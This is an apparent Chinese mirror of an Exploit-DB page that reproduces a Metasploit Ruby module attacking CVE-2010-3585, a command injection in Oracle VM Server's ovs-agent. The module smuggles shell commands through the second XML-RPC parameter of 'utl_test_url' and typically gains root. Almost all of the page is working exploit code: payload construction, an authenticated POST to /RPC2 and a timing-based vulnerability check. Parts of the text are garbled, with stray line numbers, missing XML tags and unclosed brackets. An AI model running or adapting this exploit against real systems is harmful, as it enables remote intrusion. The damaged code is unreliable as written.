Oracle VM Server Virtual Server Agent – Command Injection (Metasploit)

Exploit Database
128 阅读

作者： Metasploit

日期： 2010-10-25
类别：
- remote
平台：
- linux
来源：https://www.exploit-db.com/exploits/16915/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

# $Id: oracle_vm_agent_utl.rb 10821 2010-10-25 20:58:49Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})

super(update_info(info,

'Name' => 'Oracle VM Server Virtual Server Agent Command Injection',

'Description'=> %q{

This module exploits a command injection flaw within Oracle\'s VM Server

Virtual Server Agent (ovs-agent) service.

By including shell meta characters within the second parameter to the 'utl_test_url'

XML-RPC methodCall, an attacker can execute arbitrary commands. The service

typically runs with root privileges.

NOTE: Valid credentials are required to trigger this vulnerable. The username

appears to be hardcoded as 'oracle', but the password is set by the administrator

at installation time.

'Author' => [ 'jduck' ],

'License'=> MSF_LICENSE,

'Version'=> '$Revision: 10821 $',

'References' =>

[

# ovs-agent.spec:- Fix ovs agent command injection [orabug 10146644] {CVE-2010-3585}

['CVE', '2010-3585'],

['OSVDB', '68797'],

['BID', '44047']

'Privileged' => true,

'Platform' => ['unix', 'linux'],

'Arch' => ARCH_CMD,

'Payload'=>

{

'Space' => 512,

'BadChars' => '<>',

'DisableNops' => true,

'Keys'=> ['cmd', 'cmd_bash'],

'Targets'=> [ ['Automatic', { }], ],

'DefaultTarget' => 0,

'DisclosureDate' => 'Oct 12 2010'

))

register_options(

[

Opt::RPORT(8899),

OptBool.new('SSL', [ true, 'Use SSL', true ]),

OptString.new('CMD', [ false,"A single command to execute instead of the payload" ]),

OptString.new('USERNAME', [ true,"The user to authenticate as", 'oracle']),

OptString.new('PASSWORD', [ true,"The password to authenticate with" ])

], self.class)

deregister_options(

'HTTP::junk_params', # not your typical POST, so don't inject params.

'HTTP::junk_slashes' # For some reason junk_slashes doesn't always work, so turn that off for now.

)

end

def go(command)

datastore['BasicAuthUser'] = datastore['USERNAME']

datastore['BasicAuthPass'] = datastore['PASSWORD']

xml = <<-EOS

<?xml version="1.0"?>

<value><string>PARAM1</string></value>

</param></params>

<value><string>PARAM2</string></value>

</param></params>

<value><string>PARAM3</string></value>

</param></params>

<value><string>PARAM4</string></value>

</param></params>

</methodCall>

EOS

sploit = rand_text_alphanumeric(rand(128)+32)

sploit << "';" + command + ";'"

xml.gsub!(/PARAM1/, 'http://' + rand_text_alphanumeric(rand(128)+32) + '/')

xml.gsub!(/PARAM2/, sploit)

xml.gsub!(/PARAM3/, rand_text_alphanumeric(rand(128)+32))

xml.gsub!(/PARAM4/, rand_text_alphanumeric(rand(128)+32))

res = send_request_cgi(

{

'uri'=> '/RPC2',

'method' => 'POST',

'ctype'=> 'application/xml',

'data' => xml,

}, 5)

if not res

if not session_created?

print_error('Unable to complete XML-RPC request')

return nil

end

# no response, but session created!!!

return true

end

case res.code

when 403

print_error('Authentication failed!')

return nil

when 200

print_good('Our request was accepted!')

return res

end

print_error("Encountered unexpected #{res.code} reponse:")

print_error(res.inspect)

return nil

end

def check

print_status("Attempting to detect if the server is vulnerable...")

# Try running/timing sleep 3

start = Time.now

go('sleep 3')

elapsed = Time.now - start

if elapsed >= 3 and elapsed <= 4

return Exploit::CheckCode::Vulnerable

end

return Exploit::CheckCode::Safe

end

def exploit

print_status("Attempting to execute the payload...")

cmd = datastore['CMD']

cmd ||= payload.encoded

if not go(cmd)

raise RuntimeError, "Unable to execute the desired command"

end

handler

end